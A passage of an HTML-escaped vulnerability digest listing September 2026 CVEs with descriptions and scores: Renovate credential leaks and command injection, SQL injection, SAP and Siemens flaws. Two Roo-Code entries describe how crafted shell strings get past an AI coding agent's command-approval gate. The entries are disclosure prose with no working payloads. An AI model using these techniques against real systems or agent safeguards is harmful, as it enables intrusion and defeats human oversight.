&lt;td&gt;EAP&#039;s Artemis deserialization configuration permits deserialization by default. ObjectMessage.getObject() uses ObjectInputStreamWithClassLoader, which implements allow-list/block-list filtering via its checkSecurity()/isTrustedType() method. However, by default both allow-list and block-list are empty. When the allow-list is empty (size == 0), isTrustedType() returns true for ALL classes. This means all classes are deserializable by default.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86404&quot; target=&quot;_blank&quot;&gt;CVE-2026-86404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate before 44.11.3 fails to validate Link header destinations when following GitLab server pagination, allowing malicious servers to redirect credential-bearing requests. Attackers controlling a compromised GitLab server can specify a Link header pointing to attacker-controlled infrastructure to exfiltrate authentication credentials.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88880&quot; target=&quot;_blank&quot;&gt;CVE-2026-88880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate, a dependency update tool, follows pagination links supplied by the GitHub server in the HTTP `Link` header when interacting with GitHub.com, GitHub Enterprise Cloud, or GitHub Enterprise Server, and sends the credentials configured for that host to the URL given as the &#039;next&#039; page. Because the pagination URL is not validated against the host originally contacted, a malicious or compromised GitHub server can return a `Link` header pointing to an attacker-controlled host and cause Renovate to disclose those credentials to it. Exploitation requires that the GitHub server Renovate talks to (as the repository host or as a datasource such as github-releases, github-tags, or git-refs) is already malicious or compromised. The issue is fixed in renovate 44.11.3 (npm and renovate/renovate container images), Mend Renovate CE/EE images and the mend-renovate-ce helm chart 15.4.0, and the mend-renovate-enterprise-edition helm chart 10.4.0. There is no workaround; the pre-existing RENOVATE_X_REBASE_PAGINATION_LINKS option disables the new host check and should only be used with servers that intentionally use different pagination hosts.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88881&quot; target=&quot;_blank&quot;&gt;CVE-2026-88881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate is a dependency update automation tool. In versions before 44.11.2 (and Mend Renovate CE/EE images and charts before 15.4.0, and mend-renovate-enterprise-edition helm chart before 10.4.0), when listing new package versions from a NuGet registry Renovate follows pagination URLs supplied by the registry in the HTTP `Link` header without verifying that the target has the same origin as the configured registry. Registry credentials are attached to the request for the &#039;next&#039; page, so a malicious or compromised NuGet registry can return a `Link` header pointing at an attacker-controlled server and cause Renovate to send the registry credentials to that server. Exploitation requires the remote registry to be malicious or compromised; such a registry would normally already have received the credentials on the initial request, so the issue primarily allows the credentials to be delivered to an additional, attacker-chosen host. The fix restricts pagination to the same origin; the previous behaviour can be re-enabled with the RENOVATE_X_NUGET_PAGINATION_ALLOW_CROSS_ORIGIN option.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88882&quot; target=&quot;_blank&quot;&gt;CVE-2026-88882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate is a dependency update automation tool. When listing tags/digests for a container image, Renovate follows pagination links supplied by the remote registry in the HTTP Link header and attaches the registry credentials to the follow-up request without verifying that the pagination URL has the same origin as the original registry. A malicious or compromised container registry can therefore specify a Link header pointing to an attacker-controlled host and receive the credentials Renovate uses for that registry. Exploitation requires that the target has container (Docker) dependencies and is already interacting with the malicious or compromised registry. This is fixed in Renovate 44.11.2 (npm and renovate/renovate images), Mend Renovate CE/EE 15.4.0 and the mend-renovate-enterprise-edition Helm chart 10.4.0; the same-origin check can be disabled with RENOVATE_X_DOCKER_PAGINATION_ALLOW_CROSS_ORIGIN.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88887&quot; target=&quot;_blank&quot;&gt;CVE-2026-88887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate is an automated dependency update tool. In versions before 44.14.4 (and Mend Renovate CE/EE images before 15.4.0 and the mend-renovate-enterprise-edition Helm chart before 10.4.0), log sanitisation for TLS private keys used for Mutual TLS was incomplete. While the value of hostRules[].httpsPrivateKey was redacted in the field itself, the same private key value was not redacted if it also appeared elsewhere - for example in another configuration option or in a log message under a key other than httpsPrivateKey - causing the full private key to be written to Renovate&#039;s logs in cleartext. This affects deployments that configure Mutual TLS through hostRules[].httpsPrivateKey without passing the value through the documented `secrets` configuration. Anyone able to read the resulting logs can recover the private key. The issue is fixed in Renovate 44.14.4, which redacts any value supplied as hostRules[].httpsPrivateKey wherever it appears in the logs; as a workaround, supply the key via the `secrets` configuration.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88883&quot; target=&quot;_blank&quot;&gt;CVE-2026-88883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate before 44.14.7 contains a command injection vulnerability in the gomod manager when processing unescaped depName parameters in import-path update commands with binarySource=docker mode. Attackers can inject shell metacharacters through malicious dependency names to execute arbitrary commands as the Renovate user during Go module major version updates with postUpdateOptions gomodUpdateImportPaths enabled.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88885&quot; target=&quot;_blank&quot;&gt;CVE-2026-88885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate is a dependency update automation tool. In versions before 44.14.7 (and in Mend Renovate CE/EE distributions before 15.4.0, and the mend-renovate-enterprise-edition Helm chart before 10.4.0), the manager/gradle-wrapper module does not escape the distributionUrl value read from a repository&#039;s gradle/wrapper/gradle-wrapper.properties file before invoking the Gradle Wrapper CLI. In self-hosted deployments configured with binarySource=docker and allowedUnsafeExecutions=[&#039;gradleWrapper&#039;, ...], a repository that supplies a crafted distributionUrl (for example, appending a shell metacharacter and command) can cause arbitrary commands to be executed as the Renovate user when Renovate processes a Gradle Wrapper update. The issue is fixed in Renovate 44.14.7; as a workaround, remove &#039;gradleWrapper&#039; from allowedUnsafeExecutions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88886&quot; target=&quot;_blank&quot;&gt;CVE-2026-88886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate before 44.14.7 contains a command injection vulnerability in the Mix manager when processing private dependencies with unescaped organization parameters. Attackers can inject shell metacharacters through malicious package names to execute arbitrary commands as the Renovate user in binarySource=docker mode.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88888&quot; target=&quot;_blank&quot;&gt;CVE-2026-88888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate before 44.14.7 contains a command injection vulnerability in the Maven Wrapper manager that allows attackers to execute arbitrary commands by specifying a malicious distributionType parameter in maven-wrapper.properties. Attackers can inject shell commands through unescaped distributionType values to achieve remote code execution when Renovate processes Maven Wrapper updates in binarySource=docker mode.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88889&quot; target=&quot;_blank&quot;&gt;CVE-2026-88889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rhymix--Rhymix&lt;/td&gt;
&lt;td&gt;Rhymix before 2.1.31 allows insecure direct object reference, aka RVE-2026-1. Arbitrary files can be accessed via extra variables.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36453&quot; target=&quot;_blank&quot;&gt;CVE-2026-36453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected is the function update_record of the file includes/manage.php. The manipulation of the argument update_category/cid/update_brand/update_product leads to sql injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87921&quot; target=&quot;_blank&quot;&gt;CVE-2026-87921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this vulnerability is the function DBOperation.addCategory of the file includes/process.php of the component AJAX Backend. The manipulation of the argument userid results in missing authentication. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87922&quot; target=&quot;_blank&quot;&gt;CVE-2026-87922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. This vulnerability affects the function storeCustomerOrderInvoice of the file includes/manage.php. Performing a manipulation of the argument pro_name[] results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87925&quot; target=&quot;_blank&quot;&gt;CVE-2026-87925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this vulnerability is the function createUserAccount of the file register.php of the component Registration Handler. Executing a manipulation of the argument usertype can lead to improper authorization. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90566&quot; target=&quot;_blank&quot;&gt;CVE-2026-90566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RooCodeInc--Roo-Code&lt;/td&gt;
&lt;td&gt;Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability in the shell command parsing logic that allows attackers to execute denied shell commands by exploiting the omission of the bash pipe operator from the command parser&#039;s operator token set. Attackers can craft a command line with an allowlisted prefix followed by the stderr-redirecting pipe operator and a denied command, causing the parser to approve the full pipeline while bash executes the denied component with the agent&#039;s auto-execute privileges on the developer&#039;s machine.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82536&quot; target=&quot;_blank&quot;&gt;CVE-2026-82536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RooCodeInc--Roo-Code&lt;/td&gt;
&lt;td&gt;Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability that allows attackers to execute denied shell commands by exploiting a word-boundary mismatch in comment handling between the approval gate&#039;s shell parser and bash. Attackers can craft a command string with an allowlisted word immediately followed by a hash character, separator, and denied command to pass the approval gate while bash executes the denied command with the agent&#039;s auto-execute privileges on the developer&#039;s machine.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82537&quot; target=&quot;_blank&quot;&gt;CVE-2026-82537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rtcamp--rtMedia for WordPress, BuddyPress and bbPress&lt;/td&gt;
&lt;td&gt;The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to time-based blind SQL Injection via the &#039;compare&#039; parameter in all versions up to, and including, 4.7.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is exploitable on any public page containing an rtMedia shortcode (e.g., [rtmedia_gallery]) when the rtmedia_shortcode GET parameter is set, because RTMediaQuery::query() merges $_REQUEST into the internal query while only validating top-level array keys, allowing the nested &#039;compare&#039; subvalue to reach the vulnerable sink without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16482&quot; target=&quot;_blank&quot;&gt;CVE-2026-16482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rubenw--Bulk Password Reset&lt;/td&gt;
&lt;td&gt;The Bulk Password Reset plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.3.3. This is due to the plugin not properly validating a user&#039;s identity prior to updating their details like arbitrary user passwords, including administrator passwords, to a known plugin-configured custom value, enabling full account takeover of the site. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user&#039;s email addresses, including administrators, and leverage that to reset the user&#039;s password and gain access to their account.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14873&quot; target=&quot;_blank&quot;&gt;CVE-2026-14873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung Opensource--Walrus&lt;/td&gt;
&lt;td&gt;Out-of-bounds write vulnerability in Samsung Opensource Walrus allows Overflow Buffers. This issue affects Walrus: af80e665ea49d9003695a66502f841ed1d8397e7.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86313&quot; target=&quot;_blank&quot;&gt;CVE-2026-86313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP Cloud Application Programming Model (CAP)&lt;/td&gt;
&lt;td&gt;@sap/cds-mtxs NPM library does not perform sufficient checks on certain functionality used in multitenant CAP applications with extensibility enabled. An unauthenticated attacker could send specially crafted requests to obtain sensitive credentials and abuse them to replace or delete tenant data. Successful exploitation can result in a high impact on availability and integrity of the application. There may also be partial impact to the confidentiality of business data.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76969&quot; target=&quot;_blank&quot;&gt;CVE-2026-76969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP Extended Passport (EPP) Processing&lt;/td&gt;
&lt;td&gt;A memory safety vulnerability exists in the Extended Passport Protocol (EPP) processing library. Under specific conditions, an unauthenticated attacker could exploit a crafted network request containing a malformed EPP header, potentially resulting in undefined behavior and abnormal program termination. Successful exploitation may have a high impact on the confidentiality, integrity, and availability of the application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44756&quot; target=&quot;_blank&quot;&gt;CVE-2026-44756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP Integration Suite&lt;/td&gt;
&lt;td&gt;SAP Integration Suite does not sufficiently validate XML documents accepted from untrusted sources in certain internal components. An attacker with low privileges could submit specially crafted XML payloads containing malicious external entity declarations. Successful exploitation could allow the attacker to read sensitive file contents from the server and expose them through monitoring or logging output, resulting in a high impact on confidentiality. It could also lead to resource exhaustion, causing a low impact on availability. There is no impact on integrity.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76958&quot; target=&quot;_blank&quot;&gt;CVE-2026-76958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP NetWeaver (Message Server)&lt;/td&gt;
&lt;td&gt;SAP NetWeaver Message Server does not sufficiently validate the authenticity of internal application server components during registration. An unauthenticated attacker with network access to the affected service could exploit this weakness to register an unauthorized component and potentially perform unauthorized actions within the application environment, resulting in a high impact on the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58240&quot; target=&quot;_blank&quot;&gt;CVE-2026-58240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP NetWeaver (SAP GUI for Java)&lt;/td&gt;
&lt;td&gt;SAP GUI for Java does not correctly enforce the trust level policy for certain functions invoked from a connected backend system. A low-privileged attacker could exploit this weakness by manipulating a connected backend system to trigger affected functionality. This could allow arbitrary command execution on the victim&#039;s machine, leading to a high impact on the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66768&quot; target=&quot;_blank&quot;&gt;CVE-2026-66768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP NetWeaver Application Server for ABAP and ABAP Platform&lt;/td&gt;
&lt;td&gt;SAP NetWeaver Application Server for ABAP and ABAP Platform allows an unauthenticated user to send a specially crafted packet that triggers reprocessing of a previously buffered user request, potentially hijacking another user&#039;s session under narrow timing conditions. Successful exploitation could result in high impact on confidentiality and integrity, with low impact on availability of the application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66767&quot; target=&quot;_blank&quot;&gt;CVE-2026-66767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP NetWeaver Business Client&lt;/td&gt;
&lt;td&gt;SAP NetWeaver Business Client does not perform sufficient validation when processing certain locally stored data during application startup. An attacker with low privileges on the local system could replace this data with specially crafted content. When the application is next launched, the crafted content is processed and could lead to arbitrary code execution in the context of the user. This results in a high impact on confidentiality, integrity and availability of the application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76967&quot; target=&quot;_blank&quot;&gt;CVE-2026-76967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;schreibfaul1--ESP32-audioI2S&lt;/td&gt;
&lt;td&gt;ESP32-audioI2S versions 3.4.4 through 4.0.0 contain a heap-based out-of-bounds read vulnerability in the read_ID3_Header function due to a shadowed length parameter in ID3 synchronized-lyrics processing. Attackers can craft malicious MP3 files or HTTP audio streams with oversized frame size declarations to read past allocated buffer boundaries, causing device crashes or exposing adjacent heap memory.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87961&quot; target=&quot;_blank&quot;&gt;CVE-2026-87961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A weakness has been identified in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. The impacted element is an unknown function of the file ssm_pro/src/main/java/cn/sfturing/web/OrderController.java of the component Order Controller. Executing a manipulation of the argument userIdenf can lead to authorization bypass. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86261&quot; target=&quot;_blank&quot;&gt;CVE-2026-86261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. This affects the function updateOrderSta1/updateOrderdiseaseInfo of the file ssm_pro/src/main/java/cn/sfturing/web/OrderController.java of the component Order Handler. The manipulation of the argument userID/id leads to authorization bypass. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86262&quot; target=&quot;_blank&quot;&gt;CVE-2026-86262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. This impacts the function orderRecordsService.cancelOrder of the file ssm_pro/src/main/java/cn/sfturing/web/OrderController.java of the component Order Cancellation. The manipulation of the argument ID results in authorization bypass. The attack may be performed from remote. The exploit is now public and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86263&quot; target=&quot;_blank&quot;&gt;CVE-2026-86263&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Shelf-nu--shelf.nu&lt;/td&gt;
&lt;td&gt;Shelf is a platform for tracking physical assets. Prior to version 1.20.3, authenticated users with the `asset:import` permission can trigger server-side HTTP requests to attacker-controlled URLs through the Asset CSV Content Import feature. The `imageUrl` validation logic can be bypassed through multiple techniques, including image-extension suffixes, image-related path keywords, domain substring matching, and redirect chains. After validation, the server performs an unrestricted `fetch()` request to the supplied URL. This results in a Server-Side Request Forgery (SSRF) vulnerability that allows attackers to reach internal network services, cloud metadata endpoints, and arbitrary external hosts from the application&#039;s network context. Additionally, response bodies are fully buffered before size validation, creating a potential memory exhaustion vector. Version 1.20.3 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54166&quot; target=&quot;_blank&quot;&gt;CVE-2026-54166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SICK AG--Sentio Creator Extension &#039;Device Manager&#039;&lt;/td&gt;
&lt;td&gt;An attacker may achieve arbitrary code execution on a target system by uploading a malicious device driver package, bypassing driver verification mechanisms, and triggering the execution of attacker-controlled code. User interaction is required.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80469&quot; target=&quot;_blank&quot;&gt;CVE-2026-80469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Desigo CC ClickOnce Client V6&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Desigo CC ClickOnce Client V6 (All versions), Desigo CC ClickOnce Client V7 (All versions), Desigo CC family V8 (All versions), Desigo CC family V9 (All versions), Desigo CC Flex Client V6 (All versions), Desigo CC Flex Client V7 (All versions), Desigo CC Installed Client V6 (All versions), Desigo CC Installed Client V7 (All versions). The affected application is vulnerable to Client Code Execution (CCE) due to insufficient input validation when handling scripts embedded within user-defined graphics documents. Specifically, when the script within a graphics document is designed or modified by an attacker to include malicious commands. When a user opens a compromised graphics document, the embedded script is executed on the client application instance, allowing an attacker to write arbitrary files to the client&#039;s operating system. Successful exploitation requires an attacker to craft a malicious graphics document and entice a user with sufficient privileges to display it. This could lead to compromise of the client operating system and potential lateral movement within the organization.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-34223&quot; target=&quot;_blank&quot;&gt;CVE-2026-34223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
